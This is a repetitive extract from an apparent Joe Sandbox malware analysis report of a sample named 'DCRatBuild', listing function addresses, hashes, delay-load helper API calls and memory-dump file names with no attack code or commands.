Opcode ID: cae24ddcc95596f9d31196d4d5ff36f79438393d69e61ccb90f28850028a5a42
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: cae24ddcc95596f9d31196d4d5ff36f79438393d69e61ccb90f28850028a5a42
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4a1574cc5094d4dd15029d99285fb06166784cc243e3b2b79981ecec3a97e46b
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: 4a1574cc5094d4dd15029d99285fb06166784cc243e3b2b79981ecec3a97e46b
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 69cd574343d33073ef8ceed56a80250b87453678172f1490de2b076815f96923
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: 69cd574343d33073ef8ceed56a80250b87453678172f1490de2b076815f96923
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1305437d03a94e678234af8c0eecfb9b0bc33b0d6393428faef820355a91bfa8
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: 1305437d03a94e678234af8c0eecfb9b0bc33b0d6393428faef820355a91bfa8
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f7ecaaa5e91f1eb523500341ab00196cf10f5fcd1c825622e479e96904481d79
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: f7ecaaa5e91f1eb523500341ab00196cf10f5fcd1c825622e479e96904481d79
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDDAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e824d83e9cbc6fbc85e9fdd4d3c820079cbd85c3d65c94023c70b6e01d03ac81
Instruction ID: b9d30891cd6da2bbd55a5c9a9bf8cef39e73a83fa0cbdd350dcf2da1a2e881ac
Opcode Fuzzy Hash: e824d83e9cbc6fbc85e9fdd4d3c820079cbd85c3d65c94023c70b6e01d03ac81
Instruction Fuzzy Hash: E8A0029616D1077C311D7251ED16D3E135DC4C4B51334951BB50694155554858457432

Function 00FDDAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9d55021eb85ef29772dda80438d83d6104ed92826d63455927ae74ec44ef296b
Instruction ID: b9d30891cd6da2bbd55a5c9a9bf8cef39e73a83fa0cbdd350dcf2da1a2e881ac
Opcode Fuzzy Hash: 9d55021eb85ef29772dda80438d83d6104ed92826d63455927ae74ec44ef296b
Instruction Fuzzy Hash: E8A0029616D1077C311D7251ED16D3E135DC4C4B51334951BB50694155554858457432

Function 00FDDAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eb6a4cc2cf981c06537e9079915110624a38b82c2455b3887b1a441215f9600a
Instruction ID: b9d30891cd6da2bbd55a5c9a9bf8cef39e73a83fa0cbdd350dcf2da1a2e881ac
Opcode Fuzzy Hash: eb6a4cc2cf981c06537e9079915110624a38b82c2455b3887b1a441215f9600a
Instruction Fuzzy Hash: E8A0029616D1077C311D7251ED16D3E135DC4C4B51334951BB50694155554858457432

Function 00FDDACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3f4c1b3b63cfc2e14ad815f4948c1aee8c2cedf4f30f7c7f784ae3dda73c1fc5
Instruction ID: b9d30891cd6da2bbd55a5c9a9bf8cef39e73a83fa0cbdd350dcf2da1a2e881ac
Opcode Fuzzy Hash: 3f4c1b3b63cfc2e14ad815f4948c1aee8c2cedf4f30f7c7f784ae3dda73c1fc5
Instruction Fuzzy Hash: E8A0029616D1077C311D7251ED16D3E135DC4C4B51334951BB50694155554858457432

Function 00FDDAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 38a1c4faa23cf0ea9eebb0d70c570733a3da7df39924d3cceb749caef9c4aba9
Instruction ID: b9d30891cd6da2bbd55a5c9a9bf8cef39e73a83fa0cbdd350dcf2da1a2e881ac
Opcode Fuzzy Hash: 38a1c4faa23cf0ea9eebb0d70c570733a3da7df39924d3cceb749caef9c4aba9
Instruction Fuzzy Hash: E8A0029616D1077C311D7251ED16D3E135DC4C4B51334951BB50694155554858457432

Function 00FDDAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 653a33d69daa415db2a0e0a042e25040451d5dc2442a32fd17d11a8cd2113230
Instruction ID: 2e81a91021dd980d93fa488bae7d9dd4aa8d1cd095e6e9b7b890df7f12b70104
Opcode Fuzzy Hash: 653a33d69daa415db2a0e0a042e25040451d5dc2442a32fd17d11a8cd2113230
Instruction Fuzzy Hash: 3EA0029626D5067C315D7251ED16D3E135DD4D0B11334951BB50694155554858457432

Function 00FDDBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDBD5

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bccbca0d4d4dd08cd2cd273d7630576693ce79184682ec66cf153f80332b87f2
Instruction ID: db89a2dbf03b72f1efb01f28feb68adbe4d3a61ba57d0b9bdebdc8373d3dc2ad
Opcode Fuzzy Hash: bccbca0d4d4dd08cd2cd273d7630576693ce79184682ec66cf153f80332b87f2
Instruction Fuzzy Hash: 80A0129A26C00BBC30081311AC07D3A032DC4C0B50334440BB106801405A404C083031

Function 00FDDC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDC36

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 128deb9437b4c06a5bed43f90bac24cfa8a935b62e2939afd79751093ae28c72
Instruction ID: d6bd9885d1fd373790b09ee8d8f72e335491411c12c23bfd219e920753846689
Opcode Fuzzy Hash: 128deb9437b4c06a5bed43f90bac24cfa8a935b62e2939afd79751093ae28c72
Instruction Fuzzy Hash: DFA0029657D1067C310D6251AD16D76272EC4C4B51734491BB5069425155845C497431

Function 00FDDC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDC36

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1f21e97818bdda78e24f55fd8338d46c166758f197eee295067afa090a2a9f72
Instruction ID: d6bd9885d1fd373790b09ee8d8f72e335491411c12c23bfd219e920753846689
Opcode Fuzzy Hash: 1f21e97818bdda78e24f55fd8338d46c166758f197eee295067afa090a2a9f72
Instruction Fuzzy Hash: DFA0029657D1067C310D6251AD16D76272EC4C4B51734491BB5069425155845C497431

Function 00FDDC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDBD5

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9739bb62141a95278c51bfef3b6e5d9d251a172993aefbaedeb6609129a61269
Instruction ID: db89a2dbf03b72f1efb01f28feb68adbe4d3a61ba57d0b9bdebdc8373d3dc2ad
Opcode Fuzzy Hash: 9739bb62141a95278c51bfef3b6e5d9d251a172993aefbaedeb6609129a61269
Instruction Fuzzy Hash: 80A0129A26C00BBC30081311AC07D3A032DC4C0B50334440BB106801405A404C083031

Function 00FDDC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDBD5

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 39440f3dac8c2c6d124d2b8d46ccd9bee67b18270a4bccc549a304cde6238b17
Instruction ID: db89a2dbf03b72f1efb01f28feb68adbe4d3a61ba57d0b9bdebdc8373d3dc2ad
Opcode Fuzzy Hash: 39440f3dac8c2c6d124d2b8d46ccd9bee67b18270a4bccc549a304cde6238b17
Instruction Fuzzy Hash: 80A0129A26C00BBC30081311AC07D3A032DC4C0B50334440BB106801405A404C083031

Function 00FDDC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDBD5

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 72693c6b25bfdbd60ab8b4bf378e42e8ff380e79af1855b0a639f0b9af1bec66
Instruction ID: db89a2dbf03b72f1efb01f28feb68adbe4d3a61ba57d0b9bdebdc8373d3dc2ad
Opcode Fuzzy Hash: 72693c6b25bfdbd60ab8b4bf378e42e8ff380e79af1855b0a639f0b9af1bec66
Instruction Fuzzy Hash: 80A0129A26C00BBC30081311AC07D3A032DC4C0B50334440BB106801405A404C083031

Function 00FC9EBF Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00FC9104,?,?,-00001964), ref: 00FC9EC2

Memory Dump Source

